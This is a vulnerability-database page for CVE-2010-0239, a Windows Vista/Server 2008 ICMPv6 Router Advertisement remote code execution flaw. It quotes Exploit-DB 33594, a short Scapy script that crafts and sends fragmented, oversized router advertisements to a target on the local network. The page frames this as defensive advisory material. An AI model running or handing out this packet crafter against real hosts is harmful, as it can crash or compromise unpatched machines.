CVE-2010-0239

critical
Published 2010-02-10 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

The TCP/IP implementation in Microsoft Windows Vista Gold, SP1, and SP2 and Server 2008 Gold and SP2, when IPv6 is enabled, does not properly perform bounds checking on ICMPv6 Router Advertisement packets, which allows remote attackers to execute arbitrary code via crafted packets, aka "ICMPv6 Router Advertisement Vulnerability."

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-33594 remote windows verified text ยท 1 KB
Sumit Gwalani ยท 2010-02-09

Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/38061/info

Microsoft Windows TCP/IP protocol implementation is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful attacks will completely compromise affected computers. Failed exploit attempts will likely result in denial-of-service conditions. 


v6_dst = "<IPv6 address>"

mac_dst = "<Mac address>"

pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)

l=fragment6(pkt, 1500)

for p in l:
sendp(Ether(dst=mac_dst)/p, iface="eth0")

OS impact

windows Windows Affected 2 releases
VersionStatusFixed in
- Affected โ€”
โ€” Affected โ€”

References

CWEs

CWE-94

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.